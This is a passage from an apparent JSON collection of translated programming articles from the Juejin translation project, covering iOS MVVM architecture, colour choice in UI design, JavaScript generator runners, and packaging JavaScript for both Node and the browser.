cell\n}\n```\n\n数据流现在变成：\n\n1. PhotoListViewModel 开始获取数据。\n2. 获取数据后，我们创建 **PhotoListCellViewModel** 对象并更新 **cellViewModels**。\n3. **PhotoListViewController** 被通知更新，然后使用更新后的 **cellViewModels** 布局 cells。\n\n如下图所示：\n\n![](https://cdn-images-1.medium.com/max/800/1*w4bDvU7IlxOpQZNw49fmyQ.png)\n\n#### 处理用户交互\n\n我们来看看用户交互。在 **PhotoListViewModel** 中，我们创建一个函数：\n\n```\nfunc userPressed( at indexPath: IndexPath )\n```\n\n当用户点击单个 cell 时，**PhotoListViewController** 使用此函数通知 **PhotoListViewModel**。所以我们可以在 **PhotoListViewController** 中重构委托方法：\n\n```\nfunc tableView(_ tableView: UITableView, willSelectRowAt indexPath: IndexPath) -> IndexPath? {\t\n    self.viewModel.userPressed(at: indexPath)\n    if viewModel.isAllowSegue {\n        return indexPath\n    }else {\n        return nil\n    }\n}\n```\n\n这意味着一旦 **func tableView（_ tableView：UITableView，willSelectRowAt indexPath：IndexPath） - > IndexPath** 被调用，则该操作将被传递给 **PhotoListViewModel**。委托函数根据由 **PhotoListViewModel** 提供的 isAllowSegue 属性决定是否继续。我们就成功地从视图中删除了状态。🍻\n\n#### PhotoListViewModel 的实现\n\n这是一个漫长的过程，对吧？耐心点，我们已经触及到了 MVVM 的核心！ 在 **PhotoListViewModel** 中，我们有一个名为 **cellViewModels** 的数组，它表示 View 中的 tableView。\n\n```\n\nprivate var cellViewModels: [PhotoListCellViewModel] = [PhotoListCellViewModel]()\n```\n\n我们如何获取并排列数据呢？实际上我们在 ViewModel 的初始化中做了两件事：\n\n1. 注入依赖项目：**APIService**\n2. 使用 **APIService** 获取数据\n\n```\ninit( apiService: APIServiceProtocol ) {\n    self.apiService = apiService\n    initFetch()\n}\nfunc initFetch() {\t\n    self.isLoading = true\n    apiService.fetchPopularPhoto { [weak self] (success, photos, error) in\n        self?.processFetchedPhoto(photos: photos)\n        self?.isLoading = false\n    }\n}\n```\n\n在上面的代码片段中，我们将属性 isLoading 设置为 true，然后开始从 **APIService** 中获取数据。由于我们之前所做的绑定，将 isLoading 设置为 true 意味着视图将切换活动指示器。在 **APIService** 的回调闭包中，我们处理提取的照片 models 并将 isLoading 设置为 false。我们不需要直接操作 UI 组件，但很显然，当我们改变 ViewModel 的这些属性时，UI 组件就会像我们所期望的那样工作。\n\n这里是 **processFetchedPhoto( photos: [Photo] )** 的实现：\n\n\n```\n\nprivate func processFetchedPhoto( photos: [Photo] ) {\n    self.photos = photos // Cache\n    var vms = [PhotoListCellViewModel]()\n    for photo in photos {\n        vms.append( createCellViewModel(photo: photo) )\n    }\n    self.cellViewModels = vms\n}\n```\n\n它做了一个简单的工作，将照片 models 装成一个 **PhotoListCellViewModel** 数组。当更新 **cellViewModels** 属性时，View 中的 tableView 会相应的更新。\n\n耶，我们完成了 MVVM 🎉\n\n示例应用程序可以在我的 GitHub 上找到：\n\n- [**koromiko/Tutorial**](https://github.com/koromiko/Tutorial/tree/MVC/MVVMPlayground)\n\n如果你想查看 MVC 版本（标签：MVC），然后 MVVM（最新的提交）\n\n#### Recap\n\n在本文中，我们成功地将一个简单的应用程序从 MVC 模式转换为 MVVM 模式。我们：\n\n* 使用闭包创建绑定主题。\n* 从 View 中删除了所有的控制器逻辑。\n* 创建了一个可测试的 ViewModel。\n\n#### 探讨\n\n正如我上面提到的，架构都有优点和缺点。在阅读我的文章之后，如果你对 MVVM 的缺点有一些看法。这里有很多关于 MVVM 缺点的文章，比如：\n\n[MVVM is Not Very Good — Soroush Khanlou](http://khanlou.com/2015/12/mvvm-is-not-very-good/)\n[The Problems with MVVM on iOS — Daniel Hall](http://www.danielhall.io/the-problems-with-mvvm-on-ios)\n\n我最关心的是 MVVM 中 ViewModel 做了太多的事情。正如我在本文中提到的，我们在 ViewModel 中有控制器和演示器。此外，MVVM 模式中不包括构建器和路由器。我们通常把构建器和路由器放在 ViewController 中。如果你对更清晰的解决方案感兴趣，可以了解 MVVM + FlowController ([Improve your iOS Architecture with FlowControllers](http://merowing.info/2016/01/improve-your-ios-architecture-with-flowcontrollers/)) 和两个着名的架构，[VIPER](https://www.objc.io/issues/13-architecture/viper/) 和 [Clean by Uncle Bob](https://hackernoon.com/introducing-clean-swift-architecture-vip-770a639ad7bf).\n\n#### 从小处着手\n\n总会存在更好的解决方案。作为专业的工程师，我们一直在学习如何提高代码质量。许多像我一样的开发者曾经被这么多架构所淹没，不知道如何开始编写单元测试。所以 MVVM 是一个很好的开始。很简单，可测试性还是很不错的。在另一篇 Soroush Khanlou 的文章中，[8 Patterns to Help You Destroy Massive View Controller](http://khanlou.com/2014/09/8-patterns-to-help-you-destroy-massive-view-controller/)，这里有有很多好的模式，其中一些也被MVVM所采用。与其受一个巨大的架构所阻碍，我们何不开始用小而强大的 MVVM 模式开始编写测试呢？\n\n\n> “The secret to getting ahead is getting started.” — Mark Twain\n\n在下一篇文章中，我将继续谈谈如何为我们简单的画廊应用程序编写单元测试。敬请关注！\n\n如果你有任何问题，留下评论。欢迎任何形式的讨论！感谢您的关注。\n\n#### 参考\n\n[Introduction to Model/View/ViewModel pattern for building WPF apps — John Gossman](https://blogs.msdn.microsoft.com/johngossman/2005/10/08/introduction-to-modelviewviewmodel-pattern-for-building-wpf-apps/)\n[Introduction to MVVM — objc](https://www.objc.io/issues/13-architecture/mvvm/)\n[iOS Architecture Patterns — Bohdan Orlov](https://medium.com/ios-os-x-development/ios-architecture-patterns-ecba4c38de52)\n[Model-View-ViewModel with swift — SwiftyJimmy](http://swiftyjimmy.com/category/model-view-viewmodel/)\n[Swift Tutorial: An Introduction to the MVVM Design Pattern — DINO BARTOŠAK](https://www.toptal.com/ios/swift-tutorial-introduction-to-mvvm)\n[MVVM — Writing a Testable Presentation Layer with MVVM — Brent Edwards](https://msdn.microsoft.com/en-us/magazine/dn463790.aspx)\n[Bindings, Generics, Swift and MVVM — Srdan Rasic](http://rasic.info/bindings-generics-swift-and-mvvm/)\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/how-to-use-colors-in-ui-design.md",
    "content": "> * 原文地址：[How to use colors in UI Design](https://blog.prototypr.io/how-to-use-colors-in-ui-design-16406ec06753#.tq2uvi1tw)\n* 原文作者：[Wojciech Zieliński](https://blog.prototypr.io/@acreno)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：\n* 校对者：\n\n# How to use colors in UI Design\n\nPractical tips and tools.\n\n![](https://cdn-images-1.medium.com/max/2000/1*9oD9bg_2Lzk96ZQ1zWNofA.png)\n\nColor is like everything else, it’s best used in moderation. You will tend to get better results if you stick to max three primary colors in your color scheme. Applying color to a design project has a lot to do with balance and the more colors you use, the more complicated it is to achieve balance.\n\n> Color does not add a pleasant quality to design — it reinforces it.\n> Pierre Bonnard\n\nIf you need additional colors beyond those you’ve defined in your palette, make use of shades and tints. They will provide a different tone to work with.\n\n#### 60–30–10 Rule\n\nThis interior design rule is a timeless decorating technique that can help you put a color scheme together easily. The 60% + 30% + 10% proportion is meant to give balance to the colors. This formula works because it creates a sense of balance and allows the eye to move comfortably from one focal point to the next. It’s also incredibly simple to use.\n\n> 60% is your dominant hue, 30% is secondary color and 10% is for accent color.\n\n![](https://cdn-images-1.medium.com/max/1600/1*0xxsagnyMnsMwHu8unMXrQ.png)\n\nWall paints, furnitures, accesories.\n#### Color meaning\n\nScientists have studied the physiological effects of certain colors for centuries. Besides aesthetics, colors are the creators of emotions and associations. The meaning of colors can vary depending on culture and circumstances. That’s why you see black&white fashion stores. They want to appear elegant and sublimely.\n\n[![](https://cdn-images-1.medium.com/max/1600/1*ujJjQupQ8K4V0jLx-9DyTw.png)](http://www.asos.com/majorelle/majorelle-havana-romper/prd/7313528?iid=7313528&amp;clr=Mint&amp;cid=2623&amp;pgesize=36&amp;pge=0&amp;totalstyles=751&amp;gridsize=3&amp;gridrow=7&amp;gridcolumn=1)\n\nAsos is pure black&white with green CTA. It’s made for a reason.\n- **Red:** Passion, Love, Danger\n- **Blue:** Calm, Responsible, Safe\n- **Black:** Mystery, Elegance, Evil\n- **White:** Purity, Silence, Cleanliness\n- **Green:** New, Fresh, Nature\n\nIf you want more check this list — [color culture](http://seopressor.com/wp-content/uploads/2015/06/colour-culture1.png).\n\n#### Grayscale first\n\nWe like to play with colors and tones early in our designs but this behavior can betray you very quickly when you will realize that you’ve spent 3 hours adjusting primary color … It’s really tempting but you should learn to avoid this attitude.\n\nInstead force yourself to focus on spacing and laying out elements. It will save you a lot of time. That sort of constraint is very productive. On the flips side, it doesn’t need to look boring. Try different tones if you want to make it good looking.\n\n[![](https://cdn-images-1.medium.com/max/2000/1*PHn3cUFzAXIGPgkYHcU_PA.png)](https://dribbble.com/shots/2856867-avsc-wireframes)\n\nOne of my work that you can find on dribbble. Simple monochromatic colors and focus on elements.\n\n#### Stay away from pure grayscale and black\n\nOne of the most important color tricks I’ve ever learned was to avoid using gray colors without saturation. In real life, pure gray colors almost never exist. The same goes for blacks.\n\n![](https://cdn-images-1.medium.com/max/1600/1*EDsUvHerEgqAO_uGX-EHfg.png)\n\nDarkest color on this image is not #000, it’s #0A0A10\n\nRemember to always add a bit of saturation to your color. Subconsciously it will look more natural and familiar to users.\n\n![](https://cdn-images-1.medium.com/max/1600/1*TNerL_olPuxnUN04c-WiNQ.png)\n\n---\n\n![](https://cdn-images-1.medium.com/max/1200/1*Yf1h7jZ-x4L8u6SB1UpDBg.png)\n\n#### Believe in nature\n\nThe best color combinations come from nature. They will always look natural. The best thing about looking to the environment for design solutions is that the palette is always changing.\n\n> To get inspired we only need to look around\n\n#### Keep the contrast\n\nSome colors go well with each other, while others will clash. There are definitive rules for how they will interact that can be best observed on a color wheel. You should be aware of this methods but it’s not necessary to do it manually.\n\n![](https://cdn-images-1.medium.com/max/2000/1*wBgIJcrKQ58KSmLTYMSxOA.jpeg)\n\nIf you want to learn more about color theory check this article — [Color Theory For Designers: Creating Your Own Color Palettes](https://www.smashingmagazine.com/2010/02/color-theory-for-designer-part-3-creating-your-own-color-palettes/)\n\n#### Get inspired\n\nWhen we are talking about UI references then dribbble is the best place for it. It also has tool for searching by colors so when you want to do visual research on how particular color was used by other designers then go here [dribbble.com/colors](https://dribbble.com/colors/)\n\n![](https://cdn-images-1.medium.com/max/1600/1*lQECsRNQv1Amrb4s_CT35g.png)\n\nVideos, print design, interior design, fashion… there are so many inspiring places to gather from. Simply don’t be inert to those palettes and save everything that looks interesting.\n\n[![](https://cdn-images-1.medium.com/max/800/1*qFM-0R3jWkZCeTDqr_yTKg.png)](https://www.youtube.com/watch?v=fF8l_ePlOH4)\n\n[![](https://cdn-images-1.medium.com/max/800/1*tAIY6eDVhqGvdcqhYYMVSw.png)](https://www.youtube.com/watch?v=dISNgvVpWlo)\n\n[![](https://cdn-images-1.medium.com/max/800/1*KmdQC4HgNqybXuVTnU4v_A.png)](https://www.youtube.com/watch?v=WkdtmT8A2iY)\n\nOften time I like to steal colors from KPOP videoclips. They are *gorgeous*.\n\n### Tools\n\nTo make things easier, I rounded up some of the best tools for choosing color palettes available in 2017. They will save you a lot of time.\n\n#### Coolors.co\n\nDefinitely my favorite tool for picking colors. You can simply lock selected color and press space to generate palette. Coolors also gives you the ability to upload an image and make a color palette from it. The cool thing about it is that you are not limited to only one outcome but instead you have a picker that allows you to modify reference point.\n\n![](https://cdn-images-1.medium.com/max/1600/1*h0rwE1e1-6HGVMXFIJTeyQ.png)\n\n[![](https://i.vimeocdn.com/video/613814638.webp?mw=1400&mh=814&q=70)](https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fplayer.vimeo.com%2Fvideo%2F200337992&url=https%3A%2F%2Fvimeo.com%2F200337992&image=https%3A%2F%2Fi.vimeocdn.com%2Fvideo%2F613814638_960.jpg&key=d04bfffea46d4aeda930ec88cc64b87c&type=text%2Fhtml&schema=vimeo)\n\n#### Kuler\n\nThis tool from *Adobe* has been with us for a long time. It is available in the browser, and in desktop versions. If you’re using the desktop version you can export a color scheme into Photoshop.\n\n![](https://cdn-images-1.medium.com/max/1600/1*NhUjE0XmvzY2fXLDhImNIQ.png)\n\n#### Paletton\n\nIt’s similar to Kuler but the difference is that you are not limited only to 5 tones. Great tool when you have primary colors and want to play with additional tones.\n\n![](https://cdn-images-1.medium.com/max/1600/1*gk_RnbERuLFXkm-qdqad5Q.png)\n\n#### Designspiration.net\n\nImagine that you have an idea for your color palette but you want to see examples of this mix. [Designispiration](http://designspiration.net) is a great tool for this. You can pick up to 5 colors and search images that are matching your query. Really good not only for finding images with the specific palette but also for real implementation of them in design.\n\n[![](https://i.vimeocdn.com/video/613792304.webp?mw=1400&mh=968&q=70)](https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fplayer.vimeo.com%2Fvideo%2F200319959&url=https%3A%2F%2Fvimeo.com%2F200319959&image=https%3A%2F%2Fi.vimeocdn.com%2Fvideo%2F613792304_960.jpg&key=d04bfffea46d4aeda930ec88cc64b87c&type=text%2Fhtml&schema=vimeo)\n\n#### Shutterstock Lab Spectrum\n\nYou may ask — what if I want to search for photos with my chosen color? Well, Shutterstock has a tool called Spectrum where you can search photos by specific tone. You don’t even need subscription because small preview image with watermark will be enough to generate palette.\n\n![](https://cdn-images-1.medium.com/max/1600/1*Y9YXp4qUmbhWNlyCNsul3g.png)\n\n#### Tineye Multicolr\n\nBut if you want to search mix of colors in the photo and even specify the amount of each one, then Tineye will help you. This website uses a database of 10 million Creative Commons images from Flickr.\n\n[![](https://i.vimeocdn.com/video/613819877.webp?mw=1400&mh=932&q=70)](https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fplayer.vimeo.com%2Fvideo%2F200342210&url=https%3A%2F%2Fvimeo.com%2F200342210&image=https%3A%2F%2Fi.vimeocdn.com%2Fvideo%2F613819877_640.jpg&key=d04bfffea46d4aeda930ec88cc64b87c&type=text%2Fhtml&schema=vimeo)\n\n### Final thoughts\n\nColor is a tricky concept to master, especially in the digital era. Tips mentioned above will ease the job of finding the right colors. The best way to learn to create stunning color schemes is to practice so do yourself a favor and play with colors.\n"
  },
  {
    "path": "TODO/how-to-use-generators.md",
    "content": "> * 原文地址：[How to Use Generators in JavaScript](http://blog.bloomca.me/2017/12/19/how-to-use-generators.html)\n> * 原文作者：[Seva Zaikov](http://blog.bloomca.me/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/how-to-use-generators.md](https://github.com/xitu/gold-miner/blob/master/TODO/how-to-use-generators.md)\n> * 译者：[jonjia](https://github.com/jonjia)\n> * 校对者：[vuuihc](https://github.com/vuuihc) [congFly](https://github.com/congFly)\n\n# 如何在 JavaScript 中使用 Generator\n\nGenerator 是一种非常强力的语法，但它的使用并不广泛（参见下图 twitter 上的调查！）。为什么这样？相比于 async/await，它的使用更复杂，调试起来也不太容易（大多数情况又回到了从前），即使我们可以通过非常简单的方式获得类似体验，但是人们一般会更喜欢 async/await。\n\n![1513838054(1).jpg](https://i.loli.net/2017/12/21/5a3b56e1f35e4.jpg)\n\n然而，Generator 允许我们通过 `yield` 关键字遍历我们自己的代码！这是一种超级强大的语法，实际上，我们可以操纵执行过程！从不太明显的取消操作开始，让我们先从同步操作开始吧。\n\n> 我为文中提到的功能创建了一个代码仓库 —— [https://github.com/Bloomca/obscure-generator-fns](https://github.com/Bloomca/obscure-generator-fns)\n\n## 批处理 (或计划)\n\n执行 Generator 函数会返回一个遍历器对象，那意味着通过它我们可以同步地遍历。为什么我们想这么做？原因有可能是为了实现批处理。想象一下，我们需要下载 10000 个项目，并在表格中逐行的显示它们（不要问我为什么，假设我们不使用框架）。虽然立刻展示它们没有什么不好的，但有时这可能不是最好的解决方案 —— 也许你的 MacBook Pro 可以轻松处理它，但普通人的电脑不能（更别说手机了）。所以，这意味着我们需要用某种方式延迟执行。\n\n> 请注意，这个例子是关于性能优化，在你遇到这个问题之前，没必要这样做 —— [过早优化是万恶之源](https://en.wikipedia.org/wiki/Program_optimization#When_to_optimize)!\n\n```\n// 最初的同步实现版本\nfunction renderItems(items) {\n  for (item of items) {\n    renderItem(item);\n  }\n}\n\n// 函数将由我们的执行器遍历执行\n// 实际上，我们可以用相同的同步方式来执行它！\nfunction* renderItems(items) {\n  // 我使用 for..of 遍历方法来避免新函数的产生\n  for (item of items) {\n    yield renderItem(item);\n  }\n}\n```\n\n没有什么区别吧？那么，这里的区别在于，现在我们可以在不改变源代码的情况下以不同方式运行这个函数。实际上，正如我之前提到的，没有必要等待，我们可以同步执行它。所以，来调整下我们的代码。在每个 `yield` 后边加一个 4 ms（JavaScript VM 中的一个心跳） 的延迟怎么样？我们有 10000 个项目，下载将需要 4 秒 —— 还不错，假设我想在 2 秒之内渲染完毕，很容易想到的方法是每次渲染 2 个。突然使用 Promise 的解决方案将变得更加复杂 —— 我们必须要传递另一个参数：每次渲染的项目个数。通过我们的执行器，我们仍然需要传递这个参数，但好处是对我们的 `renderItems` 方法完全没有影响。\n\n\n```\nfunction runWithBatch(chunk, fn, ...args) {\n  const gen = fn(...args);\n  let num = 0;\n  return new Promise((resolve, promiseReject) => {\n    callNextStep();\n\n    function callNextStep(res) {\n      let result;\n      try {\n        result = gen.next(res);\n      } catch (e) {\n        return reject(e);\n      }\n      next(result);\n    }\n\n    function next({ done, value }) {\n      if (done) {\n        return resolve(value);\n      }\n\n      // every chunk we sleep for a tick\n      if (num++ % chunk === 0) {\n        return sleep(4).then(proceed);\n      } else {\n        return proceed();\n      }\n\n      function proceed() {\n        return callNextStep(value);\n      }\n    }\n  });\n}\n\n// 第一个参数 —— 每批处理多少个项目\nconst items = [...];\nbatchRunner(2, function*() {\n  for (item of items) {\n    yield renderItem(item);\n  }\n});\n```\n\n正如你所看到的，我们可以轻松改变每批处理项目的个数，不去考虑执行器，回到正常的同步执行方式 —— 所有这些都不会影响我们的 `renderItems` 方法。\n\n## 取消\n\n\n我们来考虑下传统的功能 —— 取消。在我 [promises cancellation in general](http://blog.bloomca.me/2017/12/04/how-to-cancel-your-promise.html) ([译文：如何取消你的 Promise?](https://juejin.im/post/5a32705a6fb9a045117127fa)) 这篇文章中已经详细谈到了。所以我会使用其中一些代码：\n\n```\nfunction runWithCancel(fn, ...args) {\n  const gen = fn(...args);\n  let cancelled, cancel;\n  const promise = new Promise((resolve, promiseReject) => {\n    // define cancel function to return it from our fn\n    // 定义 cancel 方法，并返回它\n    cancel = () => {\n      cancelled = true;\n      reject({ reason: 'cancelled' });\n    };\n\n    onFulfilled();\n\n    function onFulfilled(res) {\n      if (!cancelled) {\n        let result;\n        try {\n          result = gen.next(res);\n        } catch (e) {\n          return reject(e);\n        }\n        next(result);\n        return null;\n      }\n    }\n\n    function onRejected(err) {\n      var result;\n      try {\n        result = gen.throw(err);\n      } catch (e) {\n        return reject(e);\n      }\n      next(result);\n    }\n\n    function next({ done, value }) {\n      if (done) {\n        return resolve(value);\n      }\n      // 假设我们总是接收 Promise，所以不需要检查类型\n      return value.then(onFulfilled, onRejected);\n    }\n  });\n\n  return { promise, cancel };\n}\n```\n\n这里最好的部分是我们可以取消所有还没来得及执行的请求（也可以给我们的执行器传递类似 [AbortController](https://developer.mozilla.org/en-US/docs/Web/API/AbortController) 的对象参数，所以它甚至可以取消当前的请求！），而且我们没有修改过自己业务逻辑中的一行的代码。\n\n## 暂停/恢复\n\n另一个特殊的需求可能是暂停/恢复功能。你为什么想要这个功能？想象一下，我们渲染了 10000 行数据，而且速度非常慢，我们希望给用户提供暂停/恢复渲染的功能，这样他们就可以停止所有的后台工作读取已经下载的内容了。让我们开始吧！\n\n```\n// 实现渲染的方法还是一样的\nfunction* renderItems() {\n  for (item of items) {\n    yield renderItem(item);\n  }\n}\n\nfunction runWithPause(genFn, ...args) {\n  let pausePromiseResolve = null;\n  let pausePromise;\n\n  const gen = genFn(...args);\n\n  const promise = new Promise((resolve, reject) => {\n    onFulfilledWithPromise();\n\n    function onFulfilledWithPromise(res) {\n      if (pausePromise) {\n        pausePromise.then(() => onFulfilled(res));\n      } else {\n        onFulfilled(res);\n      }\n    }\n\n    function onFulfilled(res) {\n      let result;\n      try {\n        result = gen.next(res);\n      } catch (e) {\n        return reject(e);\n      }\n      next(result);\n      return null;\n    }\n\n    function onRejected(err) {\n      var result;\n      try {\n        result = gen.throw(err);\n      } catch (e) {\n        return reject(e);\n      }\n      next(result);\n    }\n\n    function next({ done, value }) {\n      if (done) {\n        return resolve(value);\n      }\n      // 假设我们总是接收 Promise，所以不需要检查类型\n      return value.then(onFulfilledWithPromise, onRejected);\n    }\n  });\n\n  return {\n    pause: () => {\n      pausePromise = new Promise(resolve => {\n        pausePromiseResolve = resolve;\n      });\n    },\n    resume: () => {\n      pausePromiseResolve();\n      pausePromise = null;\n    },\n    promise\n  };\n}\n```\n\n调用这个执行器，可以给我们返回一个具有暂停/恢复功能的对象，所有这些都可以轻松得到，还是使用我们之前的业务代码！所以，如果你有很多\"沉重\"的请求链，需要耗费很长时间，而你想给你的用户提供暂停/恢复功能的话，你可以随意在你的代码中实现这个执行器。\n\n## 错误处理\n\n我们有个神秘的 `onRejected` 调用，这是我们这部分谈论的主题。如果我们使用正常的 async/await 或 Promise 链式写法，我们将通过 try/catch 语句来进行错误处理，如果不添加大量的逻辑代码就很难进行错误处理。通常情况下，如果我们需要以某种方式处理错误（比如重试），我们只是在 Promise 内部进行处理，这将会回调自己，可能再次回到同样的点。而且，这还不是一个通用的解决方案 —— 可悲的是，在这里甚至 Generator 也不能帮助我们。我们发现了 Generator 的局限 —— 虽然我们可以控制执行流程，但不能移动 Generator 函数的主体；所以我们不能后退一步，重新执行我们的命令。一个可行的解决方案是使用 [command pattern](https://en.wikipedia.org/wiki/Command_pattern), 它告诉了我们 `yield` 的结果的数据结构 —— 应该是我们需要执行此命令需要的所有信息，这样我们就可以再次执行它了。所以，我们的方法需要改为：\n\n\n```\nfunction* renderItems() {\n  for (item of items) {\n    // 我们需要将所有东西传递出去：\n    // 方法, 内容, 参数\n    yield [renderItem, null, item];\n  }\n}\n\n```\n\n正如你所看到的，这使得我们不清楚发生了什么 —— 所以，也许最好是写一些 `wrapWithRetry` 方法，它会检查 `catch` 代码块中的错误类型并再次尝试。但是我们仍然可以做一些不影响我们功能的事情。例如，我们可以增加一个关于忽略错误的策略 —— 在 async/await 中我们不得不使用 try/catch 包装每个调用，或者添加空的 `.catch(() => {})` 部分。有了 Generator，我们可以写一个执行器，忽略所有的错误。\n\n```\nfunction runWithIgnore(fn, ...args) {\n  const gen = fn(...args);\n  return new Promise((resolve, promiseReject) => {\n    onFulfilled();\n\n    function onFulfilled(res) {\n      proceed({ data: res });\n    }\n\n    // 这些是 yield 返回的错误\n    // 我们想忽略它们\n    // 所以我们像往常一样做，但不去传递出错误\n    function onRejected(error) {\n      proceed({ error });\n    }\n\n    function proceed(data) {\n      let result;\n      try {\n        result = gen.next(data);\n      } catch (e) {\n        // 这些错误是同步错误（比如 TypeError 等）\n        return reject(e);\n      }\n      // 为了区分错误和正常的结果\n      // 我们用它来执行\n      next(result);\n    }\n\n    function next({ done, value }) {\n      if (done) {\n        return resolve(value);\n      }\n      // 假设我们总是接收 Promise，所以不需要检查类型\n      return value.then(onFulfilled, onRejected);\n    }\n  });\n}\n```\n\n## 关于 async/await\n\nAsync/await 是现在的首选语法（甚至 [co](https://github.com/tj/co#co-v4) 也谈到了它 ），这也是未来。但是，Generator 也在 ECMAScript 标准内，这意味着为了使用它们，除了写几个工具函数，你不需要任何东西。我试图向你们展示一些不那么简单的例子，这些实例的价值取决于你的看法。请记住，没有那么多人熟悉 Generator，并且如果在整个代码库中只有一个地方使用它们，那么使用 Promise 可能会更容易一些 —— 但是另一方面，通过 Generator 某些问题可以被优雅和简洁的处理。\n\n\n明智地选择 —— 能力越大，责任越重（蜘蛛侠 2，2004）！\n\n### 相关文章\n\n* 15 Dec 2017 » [How to Push a Folder to Github Pages](/2017/12/15/how-to-push-folder-to-github-pages.html)\n* 04 Dec 2017 » [How to Cancel Your Promise](/2017/12/04/how-to-cancel-your-promise.html) ([译文：如何取消你的 Promise?](https://juejin.im/post/5a32705a6fb9a045117127fa))\n* 17 Nov 2017 » [Git Beyond the Basics](/2017/11/17/git-beyond-the-basics.html)\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/how-to-write-a-javascript-package-for-both-node-and-the-browser.md",
    "content": "> * 原文地址：[How to write a JavaScript package for both Node and the browser](https://nolanlawson.com/2017/01/09/how-to-write-a-javascript-package-for-both-node-and-the-browser/)\n* 原文作者：[Nolan Lawson](https://nolanlawson.com/about/)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[luoyaqifei](http://www.zengmingxia.com)\n* 校对者：[fghpdf](https://github.com/fghpdf)，[Romeo0906](https://github.com/Romeo0906)\n\n# 怎样写一个能同时用于 Node 和浏览器的 JavaScript 包？#\n\n我在这个问题上见过很多困惑，即使是很有经验的 JavaScript 开发者也可能难以把握其中的巧妙之处。因此我认为值得为它书写一小段教程。\n\n假设你有一个 JavaScript 的模块想要发布到 npm 上，它是同时适用于 Node 和浏览器的。但是请注意！这个特殊的模块在 Node 版本和浏览器版本上的实现有着细微的区别。\n\n这种情况出现得实在频繁，因为在 Node 和浏览器间有着很多微小的环境差别。在这种情况下，可以用比较巧妙的方法来正确地实现，尤其是当你在尝试着使用最小的 browser 包（bundle）来优化的时候。\n\n### 让我们构建一个 JS 包 ###\n\n因此让我们来写一个小的 JavaScript 包，叫做 `base64-encode-string`。它所做的只是接收一个字符串作为输入，输出其 base64 编码的版本。\n\n对于浏览器来说，这很简单：我们只需要使用自带的 `btoa` 函数：\n\n```\nmodule.exports = function (string) {\n  return btoa(string);\n};\n```\n\n然而在 Node 里并没有 `btoa` 函数。因此，作为替代，我们需要自己创建一个 `Buffer`，然后在上面调用 [buffer.toString()](https://nodejs.org/api/buffer.html#buffer_buf_tostring_encoding_start_end)：\n\n```\nmodule.exports = function (string) {\n  return Buffer.from(string, 'binary').toString('base64');\n};\n```\n\n对于一个字符串，这两者都应提供其正确的 base64 编码版本，比如：\n\n\n```\nvar b64encode = require('base64-encode-string');\nb64encode('foo');    // Zm9v\nb64encode('foobar'); // Zm9vYmFy\n```\n\n现在我们只需要一些方法来检测我们究竟是在浏览器上运行还是在 Node 上，好让我们能保证使用正确的版本。Browserify 和 Webpack 都定义了一个叫 `process.browser` 的字段，它会返回 `true`（译者注：即浏览器环境下），然而在 Node 上这个字段返回 `false`。所以我们只需要简单地：\n\n\n\n```\nif (process.browser) {\n  module.exports = function (string) {\n    return btoa(string);\n  };\n} else {\n  module.exports = function (string) {\n    return Buffer.from(string, 'binary').toString('base64');\n  };\n}\n```\n\n现在我们只需要把我们的文件命名为 `index.js`，键入 `npm publish`，我们就完成了，对不对？好的吧，这个方法有效，但不幸的是，这种实现有一个巨大的性能问题。\n\n因为我们的 `index.js` 文件包含了对 Node 自带的 `process` 和 `Buffer` 模块的引用，Browserify 和 Webpack 都会自动引入 [其](https://github.com/defunctzombie/node-process) [polyfill](https://github.com/feross/buffer)，来将它们打包进这些模块。\n\n对于这个简单的九行模块，我算了一下， Browserify 和 Webpack 会创建 [一个压缩后有 24.7KB 的包](https://gist.github.com/nolanlawson/6891be612c8faca42d2d9492b0d54e24) (7.6KB min+gz)。对于这种东西，用掉的空间实在是太多，因为在浏览器里，只需要 `btoa` 就能表示这个。\n\n### “browser” 字段，我该如何爱你 ###\n\n如果你在 Browserify 或者 Webpack 文档里找解决这个问题的提示，你可能最后会发现 [node-browser-resolve](https://github.com/defunctzombie/node-browser-resolve)。这是一个对于 `package.json` 内 `\"browser\"` 字段的规范，可以被用于定义在浏览器版本构建时需要被换掉的东西。\n\n使用这种技术，我们可以将接下来这段加入我们的 `package.json`：\n\n```\n{\n  /* ... */\n  \"browser\": {\n    \"./index.js\": \"./browser.js\"\n  }\n}\n```\n\n然后将函数分割成两个不同的文件：`index.js` 和 `browser.js`：\n\n```\n// index.js\nmodule.exports = function (string) {\n  return Buffer.from(string, 'binary').toString('base64');\n};\n\n// browser.js\nmodule.exports = function (string) {\n  return 